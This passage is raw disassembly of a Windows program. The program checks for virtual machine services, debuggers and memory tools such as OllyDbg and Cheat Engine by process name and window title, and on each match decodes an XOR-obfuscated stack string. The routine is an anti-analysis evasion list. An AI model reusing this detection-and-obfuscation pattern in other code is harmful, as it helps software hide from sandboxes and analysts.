lea rdx, [0x140079280]
xorps xmm1, xmm1
lea rcx, [rbp + 0xcc0]
mov r8d, 0xa
movups xmmword [rbp + 0xcc0], xmm0
movdqu xmmword [rbp + 0xcd0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xcc0]
call fcn.140017de0
lea rcx, [rbp + 0xcc0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001aba3
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x720]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x720], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Vmtoolsd.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xce0]
mov r8d, 0xc
movups xmmword [rbp + 0xce0], xmm0
movdqu xmmword [rbp + 0xcf0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xce0]
call fcn.140017de0
lea rcx, [rbp + 0xce0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001ace1
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x740]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x740], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Vmwaretrat.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xd00]
mov r8d, 0xe
movups xmmword [rbp + 0xd00], xmm0
movdqu xmmword [rbp + 0xd10], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xd00]
call fcn.140017de0
lea rcx, [rbp + 0xd00]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001ae1f
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x760]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x760], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Vmwareuser.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xd20]
mov r8d, 0xe
movups xmmword [rbp + 0xd20], xmm0
movdqu xmmword [rbp + 0xd30], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xd20]
call fcn.140017de0
lea rcx, [rbp + 0xd20]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001af5d
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x780]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x780]
vmovdqa ymmword [rbp + 0x780], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Vmacthlp.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xd40]
mov r8d, 0xc
movups xmmword [rbp + 0xd40], xmm0
movdqu xmmword [rbp + 0xd50], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xd40]
call fcn.140017de0
lea rcx, [rbp + 0xd40]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b09b
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x7a0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x7a0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.vboxservice.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xd60]
mov r8d, 0xf
movups xmmword [rbp + 0xd60], xmm0
movdqu xmmword [rbp + 0xd70], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xd60]
call fcn.140017de0
lea rcx, [rbp + 0xd60]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b1d9
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x7c0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7c0]
vmovdqa ymmword [rbp + 0x7c0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.vboxtray.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xd80]
mov r8d, 0xc
movups xmmword [rbp + 0xd80], xmm0
movdqu xmmword [rbp + 0xd90], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xd80]
call fcn.140017de0
lea rcx, [rbp + 0xd80]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b317
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x7e0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7e0]
vmovdqa ymmword [rbp + 0x7e0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.ReClass.NET.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xda0]
mov r8d, 0xf
movups xmmword [rbp + 0xda0], xmm0
movdqu xmmword [rbp + 0xdb0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xda0]
call fcn.140017de0
lea rcx, [rbp + 0xda0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b455
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x800]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x800], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400793b8]
xorps xmm1, xmm1
lea rcx, [rbp + 0xdc0]
mov r8d, 0xa
movups xmmword [rbp + 0xdc0], xmm0
movdqu xmmword [rbp + 0xdd0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xdc0]
call fcn.140017de0
lea rcx, [rbp + 0xdc0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b593
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x820]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x830], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x820]
vmovdqa ymmword [rbp + 0x820], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.OLLYDBG.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xde0]
mov r8d, 0xb
movups xmmword [rbp + 0xde0], xmm0
movdqu xmmword [rbp + 0xdf0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xde0]
call fcn.140017de0
lea rcx, [rbp + 0xde0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b6d1
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x840]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0x840], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Cheat_Engine.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xe00]
mov r8d, 0x10
movups xmmword [rbp + 0xe00], xmm0
movdqu xmmword [rbp + 0xe10], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xe00]
call fcn.140017de0
lea rcx, [rbp + 0xe00]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b80f
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x860]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0x860], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079408]
xorps xmm1, xmm1
lea rcx, [rbp + 0xe20]
mov r8d, 0x20
movups xmmword [rbp + 0xe20], xmm0
movdqu xmmword [rbp + 0xe30], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xe20]
call fcn.140017de0
lea rcx, [rbp + 0xe20]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001b94d
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x880]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x880], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x888], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x890], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x880]
vmovdqa ymmword [rbp + 0x880], ymm1
jmp 0x14001db7c
lea rdx, [0x140079408]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001ba51
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x8a0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x8a0]
vmovdqa ymmword [rbp + 0x8a0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.MugenJinFuu_i386.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xe40]
mov r8d, 0x14
movups xmmword [rbp + 0xe40], xmm0
movdqu xmmword [rbp + 0xe50], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xe40]
call fcn.140017de0
lea rcx, [rbp + 0xe40]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001bb8f
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x8c0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x8c0]
vmovdqa ymmword [rbp + 0x8c0], ymm1
jmp 0x14001db7c
lea rdx, str.MugenJinFuu_i386.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001bc93
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x8e0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x8e0]
vmovdqa ymmword [rbp + 0x8e0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.Mugen_JinFuu.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xe60]
mov r8d, 0x10
movups xmmword [rbp + 0xe60], xmm0
movdqu xmmword [rbp + 0xe70], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xe60]
call fcn.140017de0
lea rcx, [rbp + 0xe60]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001bdd1
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x900]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x900]
vmovdqa ymmword [rbp + 0x900], ymm1
jmp 0x14001db7c
lea rdx, str.Mugen_JinFuu.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001bed5
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x920]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x930], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x938], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x920]
vmovdqa ymmword [rbp + 0x920], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.MugenJinFuu_x86_64_SSE4_AVX2.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0xe80]
mov r8d, 0x20
movups xmmword [rbp + 0xe80], xmm0
movdqu xmmword [rbp + 0xe90], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xe80]
call fcn.140017de0
lea rcx, [rbp + 0xe80]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001c013
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x940]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x940], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x948], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x950], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x958], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x940]
vmovdqa ymmword [rbp + 0x940], ymm1
jmp 0x14001db7c
lea rdx, str.MugenJinFuu_x86_64_SSE4_AVX2.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14001c117
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x960]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x960], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x968], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x970], rax
